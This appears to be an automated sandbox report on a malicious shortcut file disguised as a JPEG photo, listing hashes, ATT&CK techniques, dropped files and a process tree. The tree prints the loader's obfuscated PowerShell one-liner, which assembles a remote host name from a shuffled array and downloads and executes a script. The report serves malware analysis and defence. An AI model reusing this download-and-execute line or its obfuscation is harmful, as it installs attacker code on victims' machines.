16eb633d7c19f8d28aac3ac94bee4229c942cf411a202cbae0d7b3465ffdb8e6

Analysis

max time kernel
300s
max time network
293s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_171843.jpg.lnk
Size 1KB
Sample260730-e7phpazbmg
SHA256 16eb633d7c19f8d28aac3ac94bee4229c942cf411a202cbae0d7b3465ffdb8e6
MD5 28398a52874041439c6062cf010e5803
SHA1 d31bd4776e1929c706ab4e23883aadc1dfadfcf2
SHA512 36ba7a14279fe7f722a29908913d12cbac93fb0adcc218986745d3a406d46f19b0e5daa961d56f672e057ed0f56a7a57ddcd6e1014e15781f03274b36514f77c
TLSH
T1F031E02D9BF21228C6B74B395876631287217B0EEA4DCFDF1290C2949565120F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4576	powershell.exe
9	4576	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2428	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 4576	2428	cmd.exe	90
PID 4576 wrote to memory of 3080	4576	powershell.exe	91
PID 3080 wrote to memory of 2988	3080	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_171843.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('w','op','o','h','n','t','res','oin','s','.','ervpho','stay')[6,10,5,7,11,4,2,0,9,8,3,1] -join $a1pqhG) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uk2i4h5v\uk2i4h5v.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C90.tmp" "c:\Users\Admin\AppData\Local\Temp\uk2i4h5v\CSCA3C20BB2DD7C4669B3F4B6FFA6D1B7E5.TMP"
      4⤵
      PID:2988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES4C90.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4C90.tmp
Size 1KB
SHA256 81190c50264e51b0f7faf287f801749b22658cd7708ab6179a84b512d94faf15
MD5 f4f5ea27f820d0a2393f6b0801806eab
SHA1 a4969eebe1c315a7039379778c893a0ab9f0d9c0
SHA512 5133cfb644259ad2bfb2721691aea89b564795fccf668ef376b94d481ecef2a71c8ae5c7f62dfe97872be4cbd29a405288e4220b840656f93882df00871e9f92
TLSH
T1F621CC0593F84B1FF0B3473279F5072FA278FC68EFA1935A898042281C10144EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

uk2i4h5v.dll

Path C:\Users\Admin\AppData\Local\Temp\uk2i4h5v\uk2i4h5v.dll
Size 3KB
SHA256 c1d7e2ae8c9fd948323f5612b35ba413e114276fa95cd9cf3cc2a47883ebb573
MD5 74e4457aa7c37b19affcc2be799f25f2
SHA1 bb11369c342ef3d06a2e50fdf24935e3d73b3926
SHA512 459c4329ea1edaebd5fcb36b5f9fe150021fc1114a5ea8991f3793766fb04aa489dd2f6a960e67559d0efcd8ff321fe6bbe843c70134aae79884a5849427f07b
TLSH
T10B51AA1A93E8466BE4770734AFE3076737B8F8149FB2576D59C00228AC61B946E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA3C20BB2DD7C4669B3F4B6FFA6D1B7E5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\uk2i4h5v\CSCA3C20BB2DD7C4669B3F4B6FFA6D1B7E5.TMP
Size 652B
SHA256 27eac1588c63cac1bd721d4f8bca0816acdbf18fe4a05c3f5214eaa454c9d0b4
MD5 f1493c5b61bd9c912486e5ff38f16e4f
SHA1 88300320c706e4eb73002f55392ab8d95e150b5c
SHA512 6e08f570edf7082980858b9202a2ddefeb5e3d12cad5023970743e7d72e78b5b5c719cd8844fb4cbe2265670b9405aba0dbfe7840e3626d4ae5904d002463478
TLSH
T1E2F05E0963F8420EF0F34B30BEF643A3A1A9BC65DE7293ED149403292864510D962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

uk2i4h5v.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\uk2i4h5v\uk2i4h5v.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

uk2i4h5v.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\uk2i4h5v\uk2i4h5v.cmdline
Size 369B
SHA256 2088206bbe9a5a26ed7624eca2379695226a56b12020e7590f14bd30dde6a575
MD5 d7fdde53fc3456ae9be30cf0ec0bc5d7
SHA1 5a89b3a5b70969179f92b37d2c5ab0d2e2ea94d1
SHA512 869ef8174669598c5495fb47e05922034b83a9d699af42fdf42a00ac1ef91b1dbb1ae3c11c114ccfd80fb8e3bb822874e2c3dbba32cac52c38d5bfb4bba0aca4
TLSH
T142E0C0AA52C7CE7E02DD700B3169C4BCC37207432D823F84DC84880ED01744027E1742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4576-10-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-27-0x000002253C4F0000-0x000002253C4F8000-memory.dmp

Download

memory/4576-11-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-12-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-13-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-14-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-9-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-8-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-7-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-6-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-5-0x0000022522C90000-0x0000022522CB2000-memory.dmp

Download

memory/4576-2-0x00007FFB35C2F000-0x00007FFB35C30000-memory.dmp

Download

memory/4576-28-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-29-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-31-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-32-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-33-0x00007FFB35AA0000-0x00007FFB36444000-memory.dmp

Download

memory/4576-38-0x000002253CAA0000-0x000002253CABE000-memory.dmp

Download

memory/4576-39-0x000002253CAC0000-0x000002253CB72000-memory.dmp

Download

memory/4576-40-0x000002253CB80000-0x000002253CB8A000-memory.dmp

Download

memory/4576-41-0x000002253CB80000-0x000002253CB92000-memory.dmp

Download

memory/4576-42-0x000002253CAA0000-0x000002253CAAA000-memory.dmp

Download